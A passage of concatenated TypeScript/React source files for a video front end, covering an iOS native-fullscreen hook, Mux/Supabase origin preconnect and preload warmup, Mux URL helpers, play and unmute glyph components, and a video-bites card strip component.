Anything the takeover cannot service falls through to media-chrome untouched:\n * no `<video>` yet, or `webkitSupportsFullscreen` still false — it stays false\n * until metadata has loaded, which is reachable on a Save-Data connection where\n * preload is `'none'`.\n */\n\nimport { useEffect } from 'react';\n\n/** media-chrome's `MediaUIEvents.MEDIA_ENTER_FULLSCREEN_REQUEST`. Spelled out\n *  rather than imported: media-chrome is a transitive dep of the Mux player, not\n *  a declared one. */\nconst ENTER_FULLSCREEN_REQUEST = 'mediaenterfullscreenrequest';\n\n/** The two `HTMLVideoElement` members WebKit adds for its own video-fullscreen\n *  presentation — absent from the DOM lib, and absent at runtime off Apple. */\ninterface NativeFullscreenVideo extends HTMLVideoElement {\n  webkitSupportsFullscreen?: boolean;\n  webkitEnterFullscreen?: () => void;\n}\n\ninterface CapacitorGlobal {\n  isNativePlatform?: () => boolean;\n  getPlatform?: () => string;\n}\n\n/** Gated on the shell, not on the platform: element fullscreen behaves fine in\n *  Safari (iPad) and on the desktop shell, where taking it away would only cost\n *  the player its chrome in fullscreen. */\nfunction isIosAppShell(): boolean {\n  const capacitor = (globalThis as { Capacitor?: CapacitorGlobal }).Capacitor;\n  return capacitor?.isNativePlatform?.() === true && capacitor.getPlatform?.() === 'ios';\n}\n\n/** The real `<video>` behind `<mux-player>`: `player.media` is the `<mux-video>`\n *  custom element and `nativeEl` is the element WebKit presents. */\nfunction nativeVideoElement(player: EventTarget): NativeFullscreenVideo | null {\n  const media = (player as { media?: { nativeEl?: unknown } | null }).media;\n  const element = media?.nativeEl ?? media;\n  return element instanceof HTMLVideoElement ? element : null;\n}\n\nexport function useIosNativeVideoFullscreen(playerRef: { current: unknown }): void {\n  useEffect(() => {\n    if (!isIosAppShell()) return undefined;\n    const player = playerRef.current;\n    if (!(player instanceof EventTarget)) return undefined;\n\n    const takeOver = (event: Event) => {\n      const video = nativeVideoElement(player);\n      if (!video?.webkitSupportsFullscreen || typeof video.webkitEnterFullscreen !== 'function') return;\n      event.stopImmediatePropagation();\n      video.webkitEnterFullscreen();\n    };\n\n    player.addEventListener(ENTER_FULLSCREEN_REQUEST, takeOver, true);\n    return () => player.removeEventListener(ENTER_FULLSCREEN_REQUEST, takeOver, true);\n  }, [playerRef]);\n}\n","'use client';\n\n/**\n * `useVideoWarmup` — single-source-of-truth hook for warming the\n * network path to a public entity's main video so click→first-frame\n * lands in sub-second on Fast 4G.\n *\n * Behavior:\n *\n *   1. **Preconnect on every render** (`ReactDOM.preconnect`) — buys\n *      the TCP / TLS handshakes to the video-bearing origins. React\n *      19 de-dupes identical preconnects, so this is safe to call\n *      on every render.\n *\n *   2. **Preload the video bytes** (`<link rel=\"preload\" as=\"video\">`)\n *      ONLY when:\n *        - the consumer's container scrolls within `nearMargin` of\n *          the viewport (gated via the lib's IO singleton hook), AND\n *        - `navigator.connection?.saveData !== true`, AND\n *        - the URL is on the Supabase storage origin (Mux HLS warms\n *          via its own manifest fetch when MuxPlayer mounts; YouTube\n *          has its own origin pool, no preload benefit).\n *\n * Origin configuration:\n *   - Mux origins (`stream.mux.com` / `image.mux.com`) are public\n *     Mux CDN hostnames and stable across the Mux API contract —\n *     hardcoded here.\n *   - Supabase storage origin varies per-deployment (different\n *     project per env). Threaded via the `supabaseStorageOrigin`\n *     argument so the lib stays env-agnostic; hub callers pass\n *     `getSupabaseStorageOrigin()` from their env config, or read\n *     it from `ChatRuntime.endpoints.supabaseStorageOrigin`.\n *\n * Lifted from hub `hooks/use-video-warmup.ts`. The Mux constants\n * and the IO-gated preload semantics are byte-equivalent.\n */\n\nimport { useEffect } from 'react';\nimport ReactDOM from 'react-dom';\nimport { useChatRuntime } from '../../contexts/chat-runtime-context';\nimport { useNearViewport } from '../../hooks/use-near-viewport';\n// Re-export from the server-safe `mux-origins.ts` module so the\n// constants are NOT bound to this `'use client'` file. See the\n// JSDoc in `mux-origins.ts` for the bug history. Backward-compat:\n// existing imports that read `MUX_STREAM_ORIGIN` from\n// `@flamingo-stack/openframe-frontend-core/components/features`\n// continue to resolve through this re-export.\nexport { MUX_STREAM_ORIGIN, MUX_IMAGE_ORIGIN } from './mux-origins';\nimport { MUX_STREAM_ORIGIN, MUX_IMAGE_ORIGIN } from './mux-origins';\n\n/**\n * Save-Data detection — the ONE source of truth for \"is this a metered\n * connection\". Consumed by the preload gate below and by `video.tsx`'s\n * default `preload` policy. SSR-safe (returns false on the server).\n */\nexport function saveDataEnabled(): boolean {\n  if (typeof navigator === 'undefined') return false;\n  type Connection = { saveData?: boolean };\n  const conn = (navigator as Navigator & { connection?: Connection }).connection;\n  return conn?.saveData === true;\n}\n\n/**\n * Preconnect-only variant — fires the three video-bearing origin\n * preconnects (Supabase Storage + Mux stream + Mux image) without\n * setting up the IntersectionObserver subscription or the preload\n * `<link>` injection.\n *\n * Use this when the consumer can't attach a `ref` to the video\n * container (e.g. release detail page, which delegates the player\n * render to a sibling component). Calling the full `useVideoWarmup`\n * from there would subscribe to a never-mounted ref and ship dead\n * preload machinery in the bundle.\n *\n * For consumers that own the video container, use `useVideoWarmup`\n * (which composes this hook + the IO-gated preload step).\n *\n * Reads `supabaseStorageOrigin` from `ChatRuntime.endpoints` by\n * default — callers in hosts that mount `HubRuntimeProvider` (or\n * any equivalent provider that wires the field) get the origin\n * automatically. The explicit `supabaseStorageOrigin` argument\n * overrides the runtime value when set.\n *\n * The hub's `app/layout.tsx` also emits STATIC `<link rel=\"preconnect\">`\n * tags for the same Mux origins (document-parse-time warmup; React\n * dedupes against these runtime calls via the matching\n * crossOrigin=\"anonymous\"). A change to the origin list here must be\n * mirrored there.\n */\nexport function useVideoOriginPreconnect({ supabaseStorageOrigin }: { supabaseStorageOrigin?: string } = {}): void {\n  const runtime = useChatRuntime();\n  const resolvedOrigin = supabaseStorageOrigin ?? runtime?.endpoints.supabaseStorageOrigin;\n  try {\n    ReactDOM.preconnect(MUX_STREAM_ORIGIN, { crossOrigin: 'anonymous' });\n    ReactDOM.preconnect(MUX_IMAGE_ORIGIN, { crossOrigin: 'anonymous' });\n    if (resolvedOrigin) {\n      ReactDOM.preconnect(resolvedOrigin, { crossOrigin: 'anonymous' });\n    }\n  } catch (err) {\n    if (process.env.NODE_ENV !== 'production') {\n      console.warn('[useVideoOriginPreconnect] preconnect failed:', err);\n    }\n  }\n}\n\ninterface UseVideoWarmupOptions {\n  /**\n   * Effective video URL the page renders. Pass null/undefined when\n   * there's no video yet (the hook still preconnects). Only URLs on\n   * `supabaseStorageOrigin` are preloaded — Mux HLS and YouTube are\n   * no-ops on the preload side.\n   */\n  videoUrl?: string | null;\n  /**\n   * Supabase storage origin (e.g. `https://xyz.supabase.co`). When\n   * omitted, falls back to `ChatRuntime.endpoints.supabaseStorageOrigin`\n   * — hosts that mount `HubRuntimeProvider` (or any equivalent\n   * provider) get the origin automatically. When neither is set, the\n   * preload step is skipped (preconnect to Mux still fires).\n   */\n  supabaseStorageOrigin?: string;\n  /**\n   * IO root margin gate for the preload step. Default `'1000px'` —\n   * about one viewport's worth of lookahead on desktop.\n   */\n  nearMargin?: string;\n}\n\nexport interface UseVideoWarmupResult<T extends Element = HTMLDivElement> {\n  ref: (node: T | null) => void;\n  isNear: boolean;\n}\n\nexport function useVideoWarmup<T extends Element = HTMLDivElement>({\n  videoUrl,\n  supabaseStorageOrigin,\n  nearMargin = '1000px',\n}: UseVideoWarmupOptions = {}): UseVideoWarmupResult<T> {\n  // Resolve origin once — runtime fallback so callers in hosts that\n  // mount `HubRuntimeProvider` don't need to thread it themselves.\n  const runtime = useChatRuntime();\n  const resolvedOrigin = supabaseStorageOrigin ?? runtime?.endpoints.supabaseStorageOrigin;\n\n  // Preconnect on every render — React 19 dedupes. Delegates to the\n  // shared preconnect-only variant so the origin list is a single\n  // source of truth.\n  useVideoOriginPreconnect({ supabaseStorageOrigin: resolvedOrigin });\n\n  const { ref, isNear } = useNearViewport<T>(nearMargin);\n\n  useEffect(() => {\n    if (!isNear || !videoUrl || !resolvedOrigin) return undefined;\n\n    // Save-Data gate — metered connections skip preload.\n    if (saveDataEnabled()) return undefined;\n\n    // Origin gate: only preload Supabase-hosted MP4s. Mux HLS warms\n    // via the manifest fetch when MuxPlayer mounts; YouTube has no\n    // preload benefit.\n    let videoOrigin: string;\n    try {\n      videoOrigin = new URL(videoUrl, 'http://placeholder.local').origin;\n    } catch {\n      return undefined;\n    }\n    if (videoOrigin !== resolvedOrigin) return undefined;\n\n    const link = document.createElement('link');\n    link.rel = 'preload';\n    link.as = 'video';\n    link.href = videoUrl;\n    link.crossOrigin = 'anonymous';\n    // `fetchPriority='low'` matches the plan — the hint should not\n    // steal network from the LCP image; the click→first-frame win is\n    // in milliseconds, not the first paint.\n    if ('fetchPriority' in link) {\n      (link as HTMLLinkElement & { fetchPriority?: string }).fetchPriority = 'low';\n    }\n    document.head.appendChild(link);\n\n    return () => {\n      link.remove();\n    };\n  }, [isNear, videoUrl, resolvedOrigin]);\n\n  return { ref, isNear };\n}\n","/**\n * Mux CDN origins + playback-URL helpers — single source of truth, server-safe.\n *\n * Lives in its own NON-`'use client'` module so server-side hub\n * modules (webhook handlers, URL builders, hostname comparisons in\n * `lib/config/mux-config.ts`) can import these without\n * tripping Next.js's client-reference poisoning. Re-exported from\n * `use-video-warmup.ts` for backward-compat with client-side callers.\n *\n * The Mux-HLS detection in `toMuxPreviewUrl` intentionally overlaps the\n * hub's `lib/config/mux-config.ts` `isMuxHlsUrl` — same documented\n * cross-repo duplication umbrella as the origin constants (the hub's\n * server code cannot depend on this package's client-marked siblings).\n *\n * Bug history (2026-05-29): when these constants lived in\n * `use-video-warmup.ts` (which is `'use client'`), the hub's\n * server-side `new URL(MUX_STREAM_ORIGIN).hostname` evaluation crashed\n * at Vercel build with `TypeError: Invalid URL` — Next.js had\n * replaced the constant with a client-function stub that throws\n * \"Attempted to call ... from the server\" when stringified. Splitting\n * the constants into this module restores the server-safe path.\n *\n * These hostnames are part of Mux's public API contract and are\n * stable. A future change to the Mux CDN architecture (extremely\n * unlikely) would be a single-line edit here.\n */\n\n/** HLS playback (`/{playback_id}.m3u8` + segments + per-asset MP4 renditions). */\nexport const MUX_STREAM_ORIGIN = 'https://stream.mux.com';\n\n/** Server-generated thumbnails (`/{playback_id}/thumbnail.jpg`). */\nexport const MUX_IMAGE_ORIGIN = 'https://image.mux.com';\n\n/** Valid values for Mux's `max_resolution` playback modifier (720p is the floor). */\nexport type MuxMaxResolution = '720p' | '1080p' | '1440p' | '2160p';\n\n/**\n * Cap the renditions offered by a public Mux HLS manifest for small\n * preview players (e.g. the ~234px video-bite hover cards) by appending\n * Mux's `max_resolution` playback modifier.\n *\n * Why a URL param and not a player prop: MuxPlayer's `maxResolution`\n * prop only applies when playing via `playbackId` — our SSOT passes\n * `src` URLs. And on Safari (native HLS, no hls.js) manifest-level\n * filtering is the ONLY rendition cap; hls.js's `capLevelToPlayerSize`\n * doesn't exist there.\n *\n * Pass-through (returns `url` unchanged) for: non-Mux hosts (Supabase\n * MP4s, YouTube), non-`.m3u8` paths (MP4 renditions), signed URLs\n * (`?token=` — Mux forbids loose modifiers alongside a token; they must\n * live in the JWT), and unparseable strings.\n */\nexport function toMuxPreviewUrl(url: string, maxResolution: MuxMaxResolution = '720p'): string {\n  let parsed: URL;\n  try {\n    parsed = new URL(url);\n  } catch {\n    return url;\n  }\n  if (parsed.origin !== MUX_STREAM_ORIGIN) return url;\n  if (!parsed.pathname.endsWith('.m3u8')) return url;\n  if (parsed.searchParams.has('token')) return url;\n  parsed.searchParams.set('max_resolution', maxResolution);\n  return parsed.toString();\n}\n","'use client';\n\n/**\n * THE center media glyphs — the single visual identity for every play/unmute\n * affordance over video, across the whole project: a SOLID WHITE GLYPH\n * (`text-ods-text-primary`), NO background disc, with a soft drop-shadow for\n * legibility over arbitrary frames. Accent color appears ONLY while the\n * icon's own control is hovered (hosts pass `group-hover:text-ods-accent`;\n * mux-player controls get the same via `::part(button):hover` in\n * styles/app-globals.css).\n *\n * Glyphs come from THE icon system — never inline SVG paths here:\n * PlayFilledIcon / VolumeOffFilledIcon (components/icons — the FILLED\n * media-chrome-matching glyphs, so custom affordances are pixel-identical to\n * MuxPlayer's native center button on real players).\n *\n * Consumers:\n *   - <VideoBiteCard> resting/paused posters (md)\n *   - <YouTubeFacade> poster (lg)\n *   - <MediaCarousel> video thumbnails (sm)\n *   - <FilePlayer>'s unmute chip (VideoUnmuteGlyph, md)\n *   - MuxPlayer's native center pre-play button is stripped to the same bare\n *     glyph language via CSS (see styles/app-globals.css).\n */\n\nimport type React from 'react';\nimport { cn } from '../../utils/cn';\nimport { PlayFilledIcon } from '../icons/play-filled-icon';\nimport { VolumeOffFilledIcon } from '../icons/volume-off-filled-icon';\n\nexport type VideoCenterBadgeSize = 'sm' | 'md' | 'lg';\n\nconst SIZES: Record<VideoCenterBadgeSize, number> = {\n  sm: 20, // gallery thumbnails\n  md: 56, // strip cards + unmute chip\n  lg: 64, // hero facades\n};\n\n/** Soft legibility shadow — NOT a background (per design: bare glyphs). ODS effects own the value. */\nconst GLYPH_SHADOW = 'var(--ods-shadow-glyph)';\n\nexport interface VideoPlayBadgeProps {\n  size?: VideoCenterBadgeSize;\n  className?: string;\n}\n\n/** Bare play glyph (the icon system's PlayIcon). Decorative\n *  (`pointer-events-none`) — the host surface owns activation. */\nexport function VideoPlayBadge({ size = 'md', className }: VideoPlayBadgeProps): React.ReactElement {\n  return (\n    <div\n      className={cn(\n        'pointer-events-none flex items-center justify-center text-ods-text-primary transition-colors',\n        // Accent on card hover. These glyphs are pointer-events-none by design,\n        // so they can never resolve their own :hover — they key off the host\n        // card's `group/card` marker. Living HERE (not at each call site) is\n        // what makes bites, the walkthrough card and every future surface\n        // behave identically from one definition.\n        'group-hover/card:text-ods-accent',\n        className,\n      )}\n      style={{ filter: GLYPH_SHADOW }}\n    >\n      <PlayFilledIcon size={SIZES[size]} color=\"currentColor\" />\n    </div>\n  );\n}\n\nexport interface VideoUnmuteGlyphProps {\n  size?: VideoCenterBadgeSize;\n  className?: string;\n}\n\n/** Bare muted-volume glyph (the icon system's VolumeOffFilledIcon). Rendered\n *  by FilePlayer's unmute button; exported here so play + unmute share one\n *  identity. */\nexport function VideoUnmuteGlyph({ size = 'md', className }: VideoUnmuteGlyphProps): React.ReactElement {\n  return (\n    <VolumeOffFilledIcon\n      size={SIZES[size]}\n      color=\"currentColor\"\n      className={cn('transition-colors group-hover/card:text-ods-accent', className)}\n      style={{ filter: GLYPH_SHADOW }}\n    />\n  );\n}\n","'use client';\n\n/**\n * <VideoBitesStrip> — THE unified public video-bites surface (Figma\n * \"Hero Section\" node 4033-90364). Replaces the old aspect-ratio grid\n * (`<VideoBitesDisplay>` is now a deprecated shim over this).\n *\n * Thin wrapper over the shared <CardsStrip> engine (render-prop mode) — the\n * marquee/chevron/seam/measure implementation and its state-model doc live in\n * `cards-strip.tsx`. This file keeps only the bite-specific concerns:\n *\n *   - publish filtering + newest-first sort (`video-bites-shared`)\n *   - Mux/Supabase origin warmup (`useVideoWarmup`)\n *   - profile / description-slot / navigation injection via props\n *   - <VideoBiteCard> — hover overlay + muted chromeless autoplay preview;\n *     the `<Video>` Mux SSoT is the only player primitive used\n *\n * Perf contract: each card renders the REAL player (first frame + center\n * play control — every card looks and behaves like any other video surface)\n * while the card is within ~500px of the viewport, via the engine's shared\n * TWO-WAY IntersectionObserver mount gate (`ctx.mounted`/`ctx.rootRef`):\n * players mount as cards approach and UNMOUNT again once the marquee carries\n * them far off-screen. Live player count is therefore bounded by the visible\n * strip width (+margin), not by list length or clone count. Playback itself\n * starts only on hover (`<Video playOnHover>` — sound at 50%, muted fallback).\n */\n\nimport type React from 'react';\nimport { useMemo, useRef, useState } from 'react';\nimport { useIsomorphicLayoutEffect } from '../../hooks/ui/use-isomorphic-layout-effect';\nimport { cn } from '../../utils/cn';\nimport { Chevron02RightIcon } from '../icons-v2-generated/arrows/chevron-02-right-icon';\nimport { UserDisplay } from '../user-display';\nimport { CardHitLayer } from './card-hit-layer';\nimport { CardsStrip, STRIP_CELL_MAX_WIDTH } from './cards-strip';\nimport { useVideoWarmup } from './use-video-warmup';\nimport { DEFAULT_VIDEO_BITES_TITLE, sortBitesByCreatedAtDesc, type VideoBiteStripProfile } from './video-bites-shared';\nimport { VideoHoverPreviewSurface } from './video-hover-preview';\nimport { detectAspectRatio, RATIO_TO_CSS_ASPECT, ratioToCategory } from './video-ratio-tabs';\nimport type { VideoTeaserWithRatio } from './video-ratio-tabs';\n\n// NOTE: the title constant / profile adapter / sort comparator live in the\n// server-safe leaf `video-bites-shared.ts` (its own published subpath). The\n// features barrel exports both modules — do NOT re-export the leaf from here\n// (duplicate `export *` names make the barrel exports ambiguous).\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Extends VideoTeaserWithRatio — aspect_ratio is INHERITED, never re-declared. */\nexport interface VideoBiteStripItem extends VideoTeaserWithRatio {\n  /** Per-bite profile override (falls back to the section-level `profile`). */\n  profile?: VideoBiteStripProfile | null;\n  /** Navigation target — overlay chevron renders an anchor. */\n  href?: string;\n  /** Navigation callback — used when `href` is absent (overlay chevron = button). */\n  onNavigate?: () => void;\n}\n\nexport interface VideoBitesStripProps {\n  bites: ReadonlyArray<VideoBiteStripItem>;\n  /** Section heading. Default: DEFAULT_VIDEO_BITES_TITLE ('Key Moments'). */\n  title?: string;\n  showTitle?: boolean;\n  /** Filter to `published === true` bites. Default true. */\n  filterPublished?: boolean;\n  /** Section-level profile applied to bites without their own. */\n  profile?: VideoBiteStripProfile | null;\n  /** Section-level navigation target applied to bites without their own\n   *  `href` — the hover overlay links to the entity the bites originated from. */\n  href?: string;\n  /** Custom node rendered between the heading and the strip (description slot). */\n  headerSlot?: React.ReactNode;\n  /** Marquee auto-scroll. Auto-disabled on no-overflow and prefers-reduced-motion. */\n  autoScroll?: boolean;\n  /** Marquee speed in px/s. Default 60 (see cards-strip.tsx). */\n  autoScrollSpeed?: number;\n  /** Pause the marquee while a CARD is hovered (resumes as soon as the\n   *  pointer leaves the card — strip whitespace/heading never pauses). */\n  pauseOnHover?: boolean;\n  /** Card height in px per breakpoint (Figma: 416 desktop). */\n  cardHeightDesktop?: number;\n  cardHeightMobile?: number;\n  /** Floating prev/next buttons. Hidden automatically when nothing overflows. */\n  showChevrons?: boolean;\n  /** Section-level navigation fallback (per-bite `href`/`onNavigate` win). */\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Ordering comparator. Default `sortBitesByCreatedAtDesc`; FEATURED\n   *  surfaces pass `sortBitesByFeaturedAtDesc` so display order matches the\n   *  featured-recency ranking their server aggregation is capped by. */\n  sortComparator?: (a: VideoBiteStripItem, b: VideoBiteStripItem) => number;\n  className?: string;\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function VideoBitesStrip({\n  bites,\n  title = DEFAULT_VIDEO_BITES_TITLE,\n  showTitle = true,\n  filterPublished = true,\n  profile = null,\n  href,\n  headerSlot,\n  autoScroll = true,\n  autoScrollSpeed = 60,\n  pauseOnHover = true,\n  cardHeightDesktop = 416,\n  cardHeightMobile = 300,\n  showChevrons = true,\n  onBiteNavigate,\n  sortComparator = sortBitesByCreatedAtDesc,\n  className,\n}: VideoBitesStripProps): React.ReactElement | null {\n  const items = useMemo(() => {\n    const filtered = filterPublished ? bites.filter(b => b.published) : [...bites];\n    return filtered.sort(sortComparator);\n  }, [bites, filterPublished, sortComparator]);\n\n  // Preconnect Mux/Supabase origins once so first hover starts fast.\n  const warmup = useVideoWarmup<HTMLDivElement>({ videoUrl: items[0]?.url || null });\n\n  return (\n    <CardsStrip\n      items={items}\n      itemKey={b => b.url}\n      title={title}\n      showTitle={showTitle}\n      headerSlot={headerSlot}\n      autoScroll={autoScroll}\n      autoScrollSpeed={autoScrollSpeed}\n      pauseOnHover={pauseOnHover}\n      showChevrons={showChevrons}\n      prevLabel=\"Previous videos\"\n      nextLabel=\"Next videos\"\n      rootRef={warmup.ref}\n      className={className}\n      renderCard={(bite, ctx) => (\n        <VideoBiteCard\n          bite={bite}\n          index={ctx.index}\n          // MUST pass ctx.cardKey — the card's own fallback `${url}__${index}`\n          // lacks the copyIndex, so clone hover activation would never match.\n          cardKey={ctx.cardKey}\n          isClone={ctx.isClone}\n          isTouch={ctx.isTouch}\n          height={ctx.isMobile ? cardHeightMobile : cardHeightDesktop}\n          active={ctx.active}\n          onActivate={ctx.onActivate}\n          onDeactivate={ctx.onDeactivate}\n          playerMounted={ctx.mounted}\n          rootRef={ctx.rootRef}\n          profile={bite.profile ?? profile ?? null}\n          sectionHref={href}\n          onBiteNavigate={onBiteNavigate}\n        />\n      )}\n    />\n  );\n}\n\n// =============================================================================\n// Card — THE bite card (exported). One component for every surface: the\n// public strip passes controlled hover/mount state; the admin bites editor\n// renders it standalone (self-managed hover, grid-cell sizing, action slots,\n// inline title editing) so the admin sees EXACTLY the public card.\n// =============================================================================\n\nexport interface VideoBiteCardProps {\n  bite: VideoBiteStripItem;\n  index: number;\n  profile?: VideoBiteStripProfile | null;\n  sectionHref?: string;\n  onBiteNavigate?: (bite: VideoBiteStripItem, index: number) => void;\n  /** Fixed card height (strip). Omit → width-driven: card fills its grid\n   *  cell and the aspect-ratio derives the height (editor grids). */\n  height?: number;\n  /** Controlled hover-activation (strip). Omit → the card manages its own\n   *  hover/focus state. */\n  active?: boolean;\n  onActivate?: (key: string) => void;\n  onDeactivate?: (key: string) => void;\n  cardKey?: string;\n  isClone?: boolean;\n  isTouch?: boolean;\n  /** Controlled player mount (the strip's shared-by-index gate). Omit → the\n   *  card runs its own two-way near-viewport observer. */\n  playerMounted?: boolean;\n  /** Root-element ref hook (strip observer registration). May return a\n   *  cleanup (React 19 ref contract). */\n  rootRef?: (el: HTMLDivElement | null) => (() => void) | undefined;\n  /** Admin action toolbar rendered BELOW the media on a solid surface —\n   *  never floated over the video (white icons on a white frame fail the\n   *  WCAG 3:1 non-text contrast minimum; a solid `bg-ods-card` row always\n   *  passes). Editor passes publish / download / star / upload / delete. */\n  toolbar?: React.ReactNode;\n  /** Admin: the overlay title renders as an inline editor. */\n  titleEditable?: boolean;\n  onTitleChange?: (value: string) => void;\n  onTitleCommit?: (value: string) => void;\n  className?: string;\n}\n\nexport function VideoBiteCard({\n  bite,\n  index,\n  profile = null,\n  sectionHref,\n  onBiteNavigate,\n  height,\n  active,\n  onActivate,\n  onDeactivate,\n  cardKey,\n  isClone = false,\n  isTouch = false,\n  playerMounted,\n  rootRef,\n  toolbar,\n  titleEditable = false,\n  onTitleChange,\n  onTitleCommit,\n  className,\n}: VideoBiteCardProps) {\n  const cssAspect = RATIO_TO_CSS_ASPECT[ratioToCategory(detectAspectRatio(bite.aspect_ratio))];\n  const targetHref = bite.href ?? sectionHref;\n  const hasTarget = !!(targetHref || bite.onNavigate || onBiteNavigate);\n  // Strip keys and navigation stay on the RAW bite.url — the surface applies\n  // the rendition cap internally, so keys are stable regardless of the cap.\n  const key = cardKey ?? `${bite.url}__${index}`;\n\n  // Hover activation: controlled by the strip (activeKey) or self-managed\n  // when rendered standalone (admin editor).\n  const controlled = active !== undefined;\n  const [selfActive, setSelfActive] = useState(false);\n  const isActive = controlled ? !!active : selfActive;\n  const activate = () => (controlled ? onActivate?.(key) : setSelfActive(true));\n  const deactivate = () => (controlled ? onDeactivate?.(key) : setSelfActive(false));\n\n  // Inline title editor auto-grow. The height is a DOM MEASUREMENT\n  // (`scrollHeight` of the wrapped text), so it is written to the node from a\n  // layout effect rather than from inside a callback ref. Dependency-less on\n  // purpose — that reproduces the callback ref's cadence exactly (an inline\n  // arrow ref is torn down and re-attached on every commit, so it re-measured\n  // every time), which is what keeps the box in step with a `bite.title` the\n  // parent changed from outside the editor. Null-guarded: the textarea only\n  // exists while `titleEditable`. Runs before paint, so a title that wraps to\n  // two lines never paints one frame at one line.\n  const titleInputRef = useRef<HTMLTextAreaElement>(null);\n  useIsomorphicLayoutEffect(() => {\n    const el = titleInputRef.current;\n    if (!el) return;\n    el.style.height = 'auto';\n    el.style.height = `${Math.min(el.scrollHeight, 40)}px`;\n  });\n\n  const navigate = () => {\n    if (bite.onNavigate) bite.onNavigate();\n    else onBiteNavigate?.(bite, index);\n  };\n\n  const handlePointerEnter = () => {\n    if (!isTouch) activate();\n  };\n  const handlePointerLeave = () => {\n    if (!isTouch) deactivate();\n  };\n  const handleClick = () => {\n    if (isTouch && !isActive) activate();\n  };\n\n  // Bottom-docked detail (Figma node 4033:90369): title row + profile row +\n  // chevron affordance. The WHOLE footer is the navigation target — it links\n  // to the entity the bite originated from. In the editor the title row is\n  // the inline title editor (edited directly on the card).\n  const titleClass = 'text-h6 text-ods-text-primary';\n  const overlayContent = (\n    <>\n      {titleEditable ? (\n        // Textarea, not input: the public title wraps to two lines\n        // (line-clamp-2) and the editor must render identically. rows=1 +\n        // auto-grow keeps short titles single-line; max-height caps at the\n        // same two lines the clamp allows.\n        <textarea\n          value={bite.title || ''}\n          placeholder=\"Title (optional)\"\n          aria-label=\"Bite title\"\n          rows={1}\n          // No resize here: the textarea is CONTROLLED, so the height must\n          // follow the value React actually commits, not the one the user just\n          // typed. Sizing from the change event grew the box for text React\n          // then reverted whenever the parent did not adopt the new value\n          // (deferred/transition state, or a rejected edit), leaving a\n          // two-line-tall box over one line of text until some later commit.\n          onChange={e => onTitleChange?.(e.target.value)}\n          // `height` is intentionally absent from the class list / style — the\n          // layout effect above owns it, because it is a live measurement.\n          ref={titleInputRef}\n          onBlur={e => onTitleCommit?.(e.target.value)}\n          onClick={e => e.stopPropagation()}\n          className={cn(\n            titleClass,\n            'max-h-10 w-full resize-none overflow-hidden bg-transparent outline-none',\n            'border-b border-transparent placeholder:text-ods-text-secondary focus:border-ods-border',\n          )}\n        />\n      ) : (\n        bite.title && <p className={cn(titleClass, 'line-clamp-2')}>{bite.title}</p>\n      )}\n      {(profile || hasTarget) && (\n        <div className=\"flex min-w-0 items-center gap-2\">\n          {profile && (\n            <UserDisplay\n              name={profile.name}\n              avatarUrl={profile.avatarUrl}\n              subtitle={profile.subtitle}\n              size={22}\n              shape=\"round\"\n              compact\n              className=\"flex-1\"\n            />\n          )}\n          {hasTarget && <Chevron02RightIcon className=\"ml-auto h-5 w-5 shrink-0 text-ods-text-primary\" />}\n        </div>\n      )}\n    </>\n  );\n\n  // Figma node 4033:90369 exactly: pure-black 75% fill (Tailwind palette\n  // black — NOT a glassy backdrop blur; Figma has no background blur here),\n  // full soft-grey border, p-16/gap-16, large soft drop shadow.\n  const overlayClass = cn(\n    'absolute inset-x-0 bottom-0 gap-2 border border-ods-border bg-black/75 p-3 shadow-2xl',\n    'flex flex-col transition-opacity duration-200',\n    isActive ? 'opacity-100' : 'opacity-0 group-focus-within/card:opacity-100 group-hover/card:opacity-100',\n    // Non-interactive while invisible so it never swallows clicks on the\n    // resting card / player controls.\n    isActive ? 'pointer-events-auto' : 'pointer-events-none',\n  );\n\n  // Full-card click target (above the visual overlay (z-[5] vs its auto), below the surface's own z-10 children (play badge, unmute button) which must stay clickable). Mirrors\n  // the walkthrough card: a hit layer owns the click, the overlay owns the look.\n  // ALWAYS interactive. The old overlay was hover-gated because it was a\n  // visible panel that would otherwise swallow clicks while invisible; a\n  // contentless hit layer has no such problem, and gating it meant the media\n  // element received the pointer instead — so a resting card showed `cursor:\n  // auto` over the play glyph even though the glyph accented on hover.\n  // Touch keeps the deliberate two-tap model (tap 1 previews, tap 2 opens), so\n  // the layer stays inert until the card is active — making it unconditionally\n  // clickable meant a phone tap navigated instantly and bites could no longer\n  // be previewed on mobile. Mouse/keyboard get it immediately.\n  const hitLayerClass = cn('z-[5]', isTouch && !isActive ? 'pointer-events-none' : 'pointer-events-auto');\n\n  const media = (\n    <div\n      className=\"relative w-full\"\n      // Strip mode: fixed height + aspect drive the width (capped at 90vw,\n      // same as the old single-box layout). Editor mode: width-driven.\n      style={{ aspectRatio: cssAspect, ...(height !== undefined ? { height, maxWidth: STRIP_CELL_MAX_WIDTH } : {}) }}\n    >\n      {/* THE shared hover-preview media zone (poster → facade → badge →\n          controlled hover playback + near-viewport mount gate). The bite strip\n          keeps the internal unmute badge (no overlaying activation button). */}\n      <VideoHoverPreviewSurface\n        url={bite.url}\n        posterUrl={bite.thumbnail_url}\n        active={isActive}\n        playerMounted={playerMounted}\n        isClone={isClone}\n      />\n\n      {hasTarget && !titleEditable ? (\n        // CONTENTLESS full-bleed hit layer + a purely visual overlay — the same\n        // grammar the walkthrough card uses. Previously the anchor/button WAS\n        // the bottom strip, so the card centre (where the play glyph sits) was\n        // not clickable and showed no pointer cursor even though the glyph\n        // accented on hover. One interactive element, no a11y duplication.\n        <>\n          <CardHitLayer\n            label={`Open ${bite.title || 'source content'}`}\n            href={targetHref || undefined}\n            onClick={targetHref ? undefined : navigate}\n            className={hitLayerClass}\n            decorative={isClone}\n          />\n          <div className={cn(overlayClass, 'pointer-events-none')}>{overlayContent}</div>\n        </>\n      ) : (\n        <div className={overlayClass}>{overlayContent}</div>\n      )}\n    </div>\n  );\n\n  return (\n    <div\n      ref={node => rootRef?.(node)}\n      aria-hidden={isClone || undefined}\n      // Hit-test marker for the strip engine's pointer-tracked hover re-sync\n      // (cards move under a stationary pointer — see cards-strip.tsx). The\n      // hover area is exactly this card root: media + overlay + toolbar.\n      data-strip-card-key={key}\n      className={cn(\n        'group/card relative overflow-hidden rounded-md border border-ods-border bg-ods-card',\n        height !== undefined ? 'shrink-0' : 'w-full',\n        className,\n      )}\n      style={height !== undefined ? { maxWidth: STRIP_CELL_MAX_WIDTH } : undefined}\n      onPointerEnter={handlePointerEnter}\n      onPointerLeave={handlePointerLeave}\n      onClick={handleClick}\n      